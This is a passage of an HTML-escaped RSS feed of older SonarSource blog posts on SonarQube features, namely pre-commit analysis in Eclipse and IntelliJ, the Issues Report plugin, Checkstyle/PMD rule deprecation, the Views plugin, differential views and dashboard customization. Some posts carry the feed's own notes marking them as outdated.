which shortens analysis time by looking only at the files you&amp;#x27;ve edited, rather than re-analyzing every file in the project. This recent improvement takes running a pre-commit check on a large project from a productivity drag to just another simple step in the process. You can use incremental mode with the Issues Report plugin too, it&amp;#x27;s just not the default.&lt;br/&gt;&lt;br/&gt;Both IDE plugins support Java, and the Eclipse plugin supports C++ and Python as well. For any other language, regardless of your IDE, you&amp;#x27;ll want to use the Issues Report plugin, which isn&amp;#x27;t an IDE plugin at all, but one you install in SonarQube itself.&lt;/p&gt;&lt;h2&gt;Eclipse&lt;/h2&gt;&lt;p&gt;If you&amp;#x27;ve heard of pre-commit analysis before, it was probably in the context of Eclipse, because the Eclipse plugin has been around the longest. Once you have it &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Installing+SonarQube+in+Eclipse&quot;&gt;installed&lt;/a&gt; and &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Configuring+SonarQube+in+Eclipse&quot;&gt;configured&lt;/a&gt;, you&amp;#x27;re ready to start &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Working+with+SonarQube+in+Eclipse&quot;&gt;working with it&lt;/a&gt;.&lt;br/&gt;&lt;br/&gt;The first thing you may notice after linking your local project with its SonarQube analog is that extra decorators show up in your code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3ff20b8f-df4c-499d-9ed4-e6c6a2cc5395/body-68e9b26f9e462eb1d46603af7fccaf5c5daa50d6_java-java-sonar-runner-simple-src-helloworld.java-eclipse-platform-_096-650x228.png&quot; /&gt;&lt;p&gt;Each decorator marks a line with an existing issue. Mouse over a decorator to get a tooltip listing the issues. There&amp;#x27;s also a SonarQube Issues view, which gives you a listing of all the issues in the project, but can also be narrowed to show only new issues. Double click any issue to open the relevant file and jump to the appropriate (or rather, &amp;quot;inappropriate&amp;quot;) line of code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a21508ba-d591-4013-8bfb-90014c2fc64e/body-c164a8a7a77830d8c9cdcc83669f83bdf1a75979_selection_104-650x241.png&quot; /&gt;&lt;p&gt;When you&amp;#x27;re ready to commit new code, checking it in SonarQube is easy: right-click the project in the Project or Package Explorer and choose SonarQube &amp;gt; Analyze. By default, any new issues you&amp;#x27;ve introduced will be marked as errors in the Problems tab, so you don&amp;#x27;t have to go hunting for them; they jump out at you.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/511378c1-2081-4426-9225-fe9eea74124f/body-ae065edfb6abf1a54ac5e8a00a6a9441e6e5f743_selection_103-650x171.png&quot; /&gt;&lt;p&gt;By the way, that behavior&amp;#x27;s configurable, so if you want new issues demoted from errors to warnings (like some of my day job colleagues) it&amp;#x27;s easy to do.&lt;/p&gt;&lt;h2&gt;IntelliJ&lt;/h2&gt;&lt;p&gt;The IntelliJ plugin is the newest addition to SonarQube&amp;#x27;s pre-commit analysis offerings. As with the Eclipse plugin, you&amp;#x27;ll need to &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Installing+SonarQube+in+IntelliJ&quot;&gt;install&lt;/a&gt; and &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Configuring+SonarQube+in+IntelliJ&quot;&gt;configure&lt;/a&gt; it before you can really &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Working+with+SonarQube+in+IntelliJ&quot;&gt;begin using it&lt;/a&gt;.&lt;br/&gt;&lt;br/&gt;After you link your local project in IntelliJ with its SonarQube analog, lines with existing issues will be highlighted. You can mouse over the line or the corresponding right-margin marker to see the issues.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/59066d08-3ca1-4175-863a-65d8d575516c/body-065201ca2a8d5a3262a3ca1780204c579f987136_java-sonar-runner-simple-ideaprojects-java-sonar-runner-simple-java-sonar-runner-simple-...-src-helloworld.java-intellij-idea-13.0.1_097.png&quot; /&gt;&lt;p&gt;When you&amp;#x27;re ready to check your code in, scanning it for new issues has a few more steps than in Eclipse, but still isn&amp;#x27;t hard. Right-click on the project, choose Analyze &amp;gt; Run Inspection by Name..., search for SonarQube Issues in the dialog, and run the analysis on the whole project (in the next dialog).&lt;br/&gt;&lt;br/&gt;An Inspection Results section is added to the window, and new issues are marked as such.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d12b6c62-289d-46dd-bff2-90711d4960c5/body-0ab107a62894ff03854c24d4d67c58e2e7b9cf08_selection_098-650x229.png&quot; /&gt;&lt;h2&gt;Issues Report&lt;/h2&gt;&lt;p&gt;The third way to perform a pre-commit analysis is to use the Issues Report plugin. It installs directly into SonarQube. Once it&amp;#x27;s in place, you&amp;#x27;re still not quite done; you&amp;#x27;ll need to install &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Installing+and+Configuring+SonarQube+Runner&quot;&gt;SonarQube Runner locally&lt;/a&gt;. Don&amp;#x27;t worry about configuring the connection to your SonarQube database, like the installation instructions call for. For the analysis you&amp;#x27;ll be doing, you only need to specify &lt;code&gt;sonar.host.url&lt;/code&gt;.&lt;br/&gt;&lt;br/&gt;Then you need to set up a &lt;em&gt;sonar-project.properties&lt;/em&gt; file in your project root if you don&amp;#x27;t already have one. Make sure it includes the property &lt;code&gt;sonar.analysis.mode=incremental&lt;/code&gt;. That&amp;#x27;s what narrows your pre-commit check to only the files you&amp;#x27;ve changed and prevents SonarQube Runner from trying to commit the results to the database.&lt;br/&gt;&lt;br/&gt;Before you fire your first analysis, there are a few more options to consider. The Issues Report plugin has a couple of configuragions that can be turned on at either the global level or the individual analysis level: &lt;code&gt;sonar.issuesReport.console.enable&lt;/code&gt;, and &lt;code&gt;sonar.issuesReport.html.enable&lt;/code&gt;. By default both are set to false. As you might guess, &lt;code&gt;sonar.issuesReport.console.enable&lt;/code&gt; enables summary reporting in the analysis console. Here&amp;#x27;s what it looks like:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/21e5cc20-63f0-424a-b912-43f104f60ecf/body-07bba6dfd306d1a3335ea0e66e5469d109baaf58_selection_099.png&quot; /&gt;&lt;p&gt;You can use the console report to see if you need to look at the HTML report. (That&amp;#x27;s assuming you set &lt;code&gt;sonar.issuesReport.html.enable=true&lt;/code&gt;. Otherwise all you got was &lt;em&gt;.sonar/sonar-report.json&lt;/em&gt;.) Two versions of the HTML report are automatically created, &lt;em&gt;issues-report.html&lt;/em&gt; and &lt;em&gt;issues-report-light.html&lt;/em&gt;. By default, they land in &lt;em&gt;.sonar/issues-report&lt;/em&gt;, but that&amp;#x27;s &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Issues+Report+Plugin&quot;&gt;configurable&lt;/a&gt;. The difference between them is that the light version only shows new issues. The &amp;quot;heavy&amp;quot; version contains all issues, but defaults to showing new issues only:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2cb9367a-654d-45f9-938e-c7a66a9e8b3c/body-7cccc07f62c15ad3adec0f9581686a8601f8c03f_selection_100-650x457.png&quot; /&gt;&lt;p&gt;So that&amp;#x27;s it. Now, no matter what your language, no matter what your IDE, you too can run a pre-commit check. Happy coding!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Already 158 Checkstyle and PMD rules deprecated by SonarQube Java rules]]></title><description><![CDATA[Already 158 Checkstyle and PMD rules deprecated by SonarQube Java rules]]></description><link>https://www.sonarsource.com/blog/already-158-checkstyle-and-pmd-rules-deprecated-by-sonarqube-java-rules</link><guid isPermaLink="false">552c0a24-0325-5eb1-8778-3423cdaafd3e</guid><dc:creator><![CDATA[Freddy Mallet]]></dc:creator><pubDate>Thu, 03 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, we released the SonarQube Java 1.4 plugin ecosystem, and as announced in What&amp;#x27;s coming up for SonarQube in 2013, we&amp;#x27;re working hard to progressively deprecate as many &lt;a href=&quot;http://checkstyle.sourceforge.net/&quot;&gt;Checkstyle&lt;/a&gt; and &lt;a href=&quot;http://pmd.sourceforge.net/&quot;&gt;PMD&lt;/a&gt; rules as possible, and write native replacements for them using the SonarQube Java rule engine. We&amp;#x27;ll continue to support both tools for the foreseeable future, but the goal is to remove them from the default SonarQube Java plugin ecosystem package.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ddc190ef-38bb-4683-b4bf-b22a7f4f105a/body-f30f83fee8e9654b8c0a38abf779f15e03c797ad_rule_deprecated.jpg&quot; /&gt;&lt;p&gt;Fans of those two mature, well-known Java quality tools may wonder why we&amp;#x27;re moving away from such popular tools. There are in fact several good reasons behind this move :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Productivity&lt;/strong&gt;: the activity is low on both projects. In the past, we invested time in updating both tools to support the new language features in Java 7, but in the long term it&amp;#x27;s not a viable approach for SonarSource. Continuing to support these tools - both directly with our commits to those code bases, and indirectly - means to working on three different source code analysis stacks: Antlr for Checkstyle, Javacc for PMD, and SSLR for SonarQube&amp;#x27;s own Java rule engine.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: analyzing a project with SonarQube while using Checkstyle and PMD rules leads to parsing the same Java files three times: once each with Antlr, JavaCC and SSLR&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Functional overlap between rules&lt;/strong&gt;: There is a big overlap between Checkstyle and PMD rules (and in fact even with some Findbugs rules), which makes it difficult to define and manage a Java quality profile.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Too many configuration options&lt;/strong&gt;: in a perfect world, a good quality rule is a rule WITHOUT any configuration options. The user should not have to understand what a token is, or what an AST is, and he should not have to tune configuration options to start playing with a rule. On new SSLR rules, we do our best to cover all the use cases, to avoid generating false positives so the user isn&amp;#x27;t bothered with configurations.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Rule descriptions&lt;/strong&gt;: however perfect a rule implementation is, the rule is worthless without a good description. A rule&amp;#x27;s description should always clearly state its purpose, so the reader isn&amp;#x27;t left to experimentation to truly understand what a rule does.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;None of this is to say that Checkstyle and PMD aren&amp;#x27;t great Java tools with wide user bases. They are. But whatever we do at SonarSource, we always try to do it with the long term in mind. And in the long term, it&amp;#x27;s well worth migrating existing Java rules to the SonarQube-native Java SSLR engine.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Everything's a component]]></title><description><![CDATA[Something occurred to me recently that I wanted to share. Sometimes I'm late to the party, so this may have been obvious to you all along, but it didn't jump out at me at first, so I thought it might be worth talking about. It's the fact that the Views plugin turns a project into just another component.]]></description><link>https://www.sonarsource.com/blog/everythings-a-component</link><guid isPermaLink="false">50dc5001-dc6d-5df9-a4c1-b568b618e717</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Wed, 18 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Something occurred to me recently that I wanted to share. Sometimes I&amp;#x27;m late to the party, so this may have been obvious to you all along, but it didn&amp;#x27;t jump out at me at first, so I thought it might be worth talking about. It&amp;#x27;s the fact that the &lt;a href=&quot;http://www.sonarsource.com/products/plugins/governance/portfolio-management/&quot;&gt;Views plugin&lt;/a&gt; turns a project into just another component.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;If you&amp;#x27;re familiar with the Components view, then you know it shows you the &amp;quot;child&amp;quot; resources of the current resource. If you&amp;#x27;re starting from a project, that might be a list of modules, packages, or classes, or potentially a jumble of all three (although that sounds like a confusing project organization to swim through). Here&amp;#x27;s the components view of the SonarQube project itself:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9f7fef7a-06a8-42a3-a1c0-2949f62c8f1e/body-671899e0f22cc06bf095622e0db47c57092563c3_selection_010-650x301.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;Similar to a &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Measures&quot;&gt;measures filter&lt;/a&gt;, the columns on the right are configurable, although unlike in a filter, you can&amp;#x27;t remove the name or the alert column.&lt;br/&gt;&lt;br/&gt;The first row, the separate one at the top, is the current component. The ones below it are the child components. Each name is linked, and for files, the link will pop open a &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Component+Viewer&quot;&gt;component viewer&lt;/a&gt;. For everything else, the link drills in to the component so that you land at a page where the component you clicked on is in the top row and below it are its children.&lt;br/&gt;&lt;br/&gt;That&amp;#x27;s cool enough - the ability to easily see all the files in a package, for instance. But what I think is really neat about the component viewer is that all the left side navigation links are still in place. So when you&amp;#x27;ve drilled into a module or a package, you&amp;#x27;ve still got a &amp;quot;Dashboard&amp;quot; link on the left. A &lt;em&gt;working&lt;/em&gt; dashboard link.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3476783d-8b59-4bdd-ad9b-714ef523c897/body-7cc47fafa9088b010084851a3aa56151a676667e_selection_011-650x274.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;It doesn&amp;#x27;t just take you to the project&amp;#x27;s dashboard. That wouldn&amp;#x27;t be cool enough. No, it takes you to the component&amp;#x27;s dashboard.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ac39f147-9c85-4f8e-be6b-2c33f0e99857/body-4e121c9e885b755a81ba949a77dc9eadc3175167_selection_012-650x277.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Here you can see almost all the same details on a sub-set of a project that you&amp;#x27;re used to seeing at the project level: lines of code, issue counts, unit test data, and so on. The one tiny caveat is that history data isn&amp;#x27;t retained for packges/directories by default. You can turn that on if you like, but be aware that it may bloat your database.&lt;br/&gt;&lt;br/&gt;The bread crumb trail tucked just under the main menu options shows you how far you&amp;#x27;ve drilled, and you can use it to climb back up if you like.&lt;br/&gt;&lt;br/&gt;But I started with the Views plugin. What does all this have to do with the Views plugin? Well, just like SonarQube&amp;#x27;s default handling of components means you have access to the &amp;quot;layers&amp;quot; under a project, the Views plugin allows you to stack layers on top of your project. It lets you treat projects like directories and aggregate them into arbitrary collections.&lt;br/&gt;&lt;br/&gt;If you&amp;#x27;ve got an application that&amp;#x27;s made up of multiple SonarQube projects, it can be hard to get a consolidated view of the application&amp;#x27;s quality. I&amp;#x27;ve tried it with spreadsheets, and believe me, its tedious, error-prone, and a pain in the patoot. The Views plugin allows you to group those projects directly within SonarQube and get &lt;em&gt;the same dashboard&lt;/em&gt; for the aggregate application that you have for the individual projects.&lt;br/&gt;&lt;br/&gt;And setting that up is easy. Once the Views plugin is installed, you get the same sort of intuitive interface SonarQube gives you for pretty much everything else. It lets you cherry-pick your projects, of course - &amp;quot;manual&amp;quot; mode is the default. But it also lets you create views by language (all C#, for instance), or manual measure, or by regular expression (name or project key).&lt;br/&gt;&lt;br/&gt;But it gets better. Let&amp;#x27;s say you&amp;#x27;re a manager with multiple applications in SonarQube. There&amp;#x27;s the one you&amp;#x27;ve just &lt;em&gt;finally&lt;/em&gt; gotten a consolidated look at with your first view, and then there are a handful more projects that each encompass an entire application. Are you back to spreadsheets for an aggregated view of your whole portfolio? Nope. Because your view is just a component.&lt;br/&gt;&lt;br/&gt;Let&amp;#x27;s say you started out knowing you&amp;#x27;d want a team-level view. Your first step was to create that view and include all the projects that represent whole applications. Next, you added a sub-view for your multi-project application and added its projects.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ed13d7e5-f456-4a9e-8b73-c8088f4cfcc2/body-14ac99097a5e35c97367ed2a3d978cff1641722f_selection_025-640x500.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Now you&amp;#x27;ve got a team-level view of application quality, and just like you can drill in to the components at the project level, you can drill in to the sub-views and projects in your view.&lt;br/&gt;&lt;br/&gt;The same process happens to let your boss roll your team view up with those of your peers&amp;#x27; and have her own consolidated picture. Here&amp;#x27;s what that looks like in &lt;a href=&quot;http://nemo.sonarqube.org/dashboard/index/Forges&quot;&gt;nemo&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/efc70816-ce31-4fcf-9e3f-0f8e5bd414cc/body-dd1210c3544ab9ee4026e06332740f73e7e8a059_selection_013-617x500.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;You&amp;#x27;re looking at the dashboard for the Forge view, which is an aggregation of all the organization-level views in nemo. It&amp;#x27;s kinda small, but the arrow is pointing to the tree map block for Apache, which is a view of all the Apache Software Foundation projects. Just like you can drill in to see a project&amp;#x27;s components, you can drill in to see a view&amp;#x27;s in exactly the same way.&lt;br/&gt;&lt;br/&gt;Developers are used to thinking of software as sets - sets of files collected into packages, sets of packages collected perhaps into modules, and then the modules into applications. Out of the box, SonarQube gives you full access and visibility into those sets. Add in the Views plugin and you can make bigger sets.&lt;br/&gt;&lt;br/&gt;You&amp;#x27;re no longer constrained by the line between where one application ends and another begins. If it makes business sense to consider them together, then by all means, have at it. Because you&amp;#x27;re no longer constrained by what made sense to the developers. Now you can look at quality based on the business logic.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Differentials: Four ways to see what's changed]]></title><description><![CDATA[After a Sonar analysis, it's easy to see your project's current state - just browse to the project dashboard and it's laid out for you. Want details? Just start clicking. But it's not always enough to know where you are. Sometimes, you need to know where you are in comparison to where you've been.]]></description><link>https://www.sonarsource.com/blog/differentials-four-ways-to-see-whats-changed</link><guid isPermaLink="false">efdee186-a1f1-5c52-ba1c-31a1c93b4a8b</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Wed, 12 Jun 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Editor&amp;#x27;s Note: This post now contains outdated information. Please read &amp;quot;&lt;a href=&quot;https://blog.sonarsource.com/water-leak-changes-the-game-for-technical-debt-management/&quot;&gt;managing the water leak&lt;/a&gt;&amp;quot; instead. Water Leak is available since SonarQube 5.3. Find &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;the latest on SonarQube here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After a Sonar analysis, it&amp;#x27;s easy to see your project&amp;#x27;s current state - just browse to the project dashboard and it&amp;#x27;s laid out for you. Want details? Just start clicking. But it&amp;#x27;s not always enough to know where you are. Sometimes, you need to know where you are in comparison to where you&amp;#x27;ve been.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If code coverage is at 50%, is that a good thing, or a bad thing? On the face of it, you’d probably like a higher score, but if you’re up from 30%, it’s time for back slaps and high fives. Down from 70%? Time for some soul-searching.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The fact that Sonar&amp;#x27;s &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Differential+Views&quot;&gt;differentials&lt;/a&gt; make it easy to tell the difference is what I love most about Sonar. The fact that differential views are now available in four different places is even more exciting.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first place is obvious: project-level dashboards (and Views and developer dashboards, if you&amp;#x27;re using Portfolio Management or Developer Cockpit). Look at the top-left of any project dashboard and you’ll see a date (the most recent analysis) and a dropdown:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/27776bd2-2831-428d-8d1c-cddce410ec96/body-af847396162a84284ed3994182430923abecaa05_selection_0041.png&quot; /&gt;&lt;p&gt;By default the dropdown has 3 options: Δ since previous analysis, Δ over 5 days, and Δ over 30 days. Pick any one of those and the page is automatically refreshed. When it repaints, the trend arrows you saw next to each number are replaced by positive and negative numbers in parentheses. These numbers represent the change to each metric over the given period. Since you can &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Differential+Views#DifferentialViews-DifferentialViewsSettings&quot;&gt;customize&lt;/a&gt; the three periods globally, and add two more project-specific periods, it’s painfully easy to track quality changes over a week, a month, or since the last major version release!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;ve got any graphs on your dashboard, such as the Timeline widget, you&amp;#x27;ll notice that they contract to just the differential time period. If you&amp;#x27;re dealing with a project that&amp;#x27;s been under analysis for a while, this can be particularly helpful, because it takes the period of interest from a tiny wobble at the end of a long graph and lets it span the entire chart so you can see the details.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;ve got the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/SCM+Activity+Plugin&quot;&gt;SCM Activity&lt;/a&gt; plugin installed, you&amp;#x27;ll get a bonus here. Look at the code coverage widget and you&amp;#x27;ll see that a whole new section has been added.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2d96161c-425c-41ec-b5cc-9845597e6309/body-d0efc1c12bf54e9ada72982c93c7d3e66b97f8df_selection_0031.png&quot; /&gt;&lt;p&gt;As you might guess from its title, the new section shows you &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Differential+Views#DifferentialViews-CodeCoverageonNewChangedCode&quot;&gt;coverage on new code&lt;/a&gt;. I.e. code that has changed or added. That means that if you&amp;#x27;re dealing with a legacy project that started at 0% coverage, you can use this extra section to track coverage on just what you&amp;#x27;re doing now, rather than having it muddled in with your backlog of missing tests. The result is that by focusing on coverage &amp;quot;on new code,&amp;quot; you can hold both legacy and greenfield projects to the same fair standards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So just by itself, differentials are pretty cool in the dashboard. But they get better.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#x27;ve picked a differential period, take a look at the violations widget. For each severity, you see the net change in violations, as well as the total counts of violations added and removed in the period. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/270f8a82-b753-4a76-ab2a-6cafd53cf0f1/body-b63c6da41c8cd06f9014041d1ed36bf84898d5cd_selection_005.png&quot; /&gt;&lt;p&gt;Click though on the number of added violations in red (assuming you have some) and you&amp;#x27;ll find yourself at the Violations drilldown, with the differential selection applied.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b1185b3c-7d44-4151-a815-835169a54b5b/body-e0d24d03cf14dfe6708c45df5f7534abe440822c_selection_006-650x277.png&quot; /&gt;&lt;p&gt;Now you can see not just the number of violations that were added, but where the violations are and what rules they broke. And when you click on a file name, the violations you&amp;#x27;re shown in that file will be filtered to just the ones added in the period of interest.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While you&amp;#x27;re here, click over to the file&amp;#x27;s Source view. If you have the SCM Activity plugin installed, you&amp;#x27;ll see a differentials dropdown here as well. That means you can see what larger source changes those violations were a part of.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The final place to look for differentials is in the file&amp;#x27;s Coverage view. You&amp;#x27;ll see there&amp;#x27;s a dropdown here as well, making it easy to see how your test coverage has changed over time. But you don&amp;#x27;t have to look at it just file-to-file. Head back to the dashboard and reapply the differential period if you have to. Then click through on any of the &amp;quot;On new code&amp;quot; metrics in the Code coverage widget. That&amp;#x27;s right! you get a drilldown focused on just new code coverage.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven&amp;#x27;t used differentials yet, it&amp;#x27;s time to dive in. You won&amp;#x27;t believe the difference they can make!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Customizing Sonar to Fit Your Needs]]></title><description><![CDATA[Sonar is a super-radiator for code quality and as such, you can expect it brings value to all stakeholders in a development group. To achieve this, Sonar must be able to show only relevant information in a certain context and shut off the noise to facilitate investigation and decision making. In this post, I will show how to customize Sonar to fit your needs by:]]></description><link>https://www.sonarsource.com/blog/customizing-sonar-to-fit-your-needs</link><guid isPermaLink="false">8e643f87-b4ed-5bff-b2de-215cc3f47458</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Fri, 26 Apr 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: This is an outdated blog post. Regardless, we&amp;#x27;re glad you&amp;#x27;ve found Sonar!  You can find more information &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;on SonarQube here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar is a super-radiator for code quality and as such, you can expect it brings value to all stakeholders in a development group. To achieve this, Sonar must be able to show only relevant information in a certain context and shut off the noise to facilitate investigation and decision making. In this post, I will show how to customize Sonar to fit your needs by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;creating filters that choose components and metrics to report on&lt;/li&gt;&lt;li&gt;building your own widgets and dashboards&lt;/li&gt;&lt;li&gt;selecting default dashboards displayed&lt;/li&gt;&lt;li&gt;using the notification services and stay tuned&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To start customizing Sonar, you first need to log in.&lt;/p&gt;&lt;h2&gt;Creating Your Own Filters&lt;/h2&gt;&lt;p&gt;The measures service located in the top navigation bar enables to choose which components you wish to retrieve and which measures you want to display for these components. Once you have chosen these criteria, you will get what we call a filter. A filter can be saved, and updated... Filters are fully compatible with &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Differential+Views&quot;&gt;differential services&lt;/a&gt;, so you can display variations as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will see later on how to display a filter in a dashboard. See the &lt;a href=&quot;http://docs.codehaus.org/pages/viewpage.action?pageId=230395194&quot;&gt;Measures Service documentation page&lt;/a&gt; to learn more on filters.&lt;/p&gt;&lt;h2&gt;Building Your Own Dashboards&lt;/h2&gt;&lt;p&gt;To make sure you maximize value in Sonar, you have the ability to create your own dashboards and select the widgets they display. Two types of dashboards are available:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Projects dashboards: to display quality indicators on a component such as a Project, a &lt;a href=&quot;http://www.sonarsource.com/products/plugins/governance/portfolio-management/&quot;&gt;View&lt;/a&gt; or a &lt;a href=&quot;http://www.sonarsource.com/products/plugins/developer-tools/developer-cockpit/&quot;&gt;Developer&lt;/a&gt;. Once you create such a dashboard, it will be available to any component.&lt;/li&gt;&lt;li&gt;Global dashboards: to mix any information on different projects. A global dashboard will only be available on the home page. You can look at &lt;a href=&quot;http://nemo.sonarsource.org&quot;&gt;Nemo&lt;/a&gt; for an example.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To create a new dashboard, you can use the Manage Dashboard link from the home page (for a global dashboard) or from a project page (for a project dashboard). Once the dashboard is created, you can then configure by a drag &amp;amp; drop of widgets.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are many available widgets, but to configure a widget that uses your own filter, you should pick the &amp;quot;Measure Filter as List&amp;quot; or &amp;quot;Measure Filter as Tremap&amp;quot; widgets and choose the filter you created.&lt;/p&gt;&lt;h2&gt;Choose Default Dashboards&lt;/h2&gt;&lt;p&gt;Now that you know how to customize Sonar for your own needs, you also might want to customize the default dashboard that anyone can see. Once you have created the dashboards you want to use by default, you will need to &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Dashboards&quot;&gt;share them&lt;/a&gt;. Once they are shared, go to settings, configuration and Default Dashboards. You can pick from there what you want as default for global and project dashboards.&lt;/p&gt;&lt;h2&gt;Subscribing to Notifications&lt;/h2&gt;&lt;p&gt;Finally, to stay tuned, you can subscribe to &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Notification&quot;&gt;notifications&lt;/a&gt; that you will receive by email. Go to YourUserName &amp;gt; My Profile and tick what you want to subscribe to in the &lt;em&gt;Notifications&lt;/em&gt; section.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may also want to receive a quality report on a regular basis. Thanks to the &lt;a href=&quot;http://www.sonarsource.com/products/plugins/reporting/report/&quot;&gt;Report plugin&lt;/a&gt;, you can select which global dashboards you would like to receive by email as a PDF report and how often.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Time now to give it a try. Enjoy and give us feedback!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Manage Duplicated Code with Sonar]]></title><description><![CDATA[If you use Sonar already, I am sure that you know already the worse of all 7 developer's deadly sins:

And if you don't, I would assume you know about duplicated / cloned / similar code when you talk about quality of code and that you have heard of tools such PMD CPD or Simian.

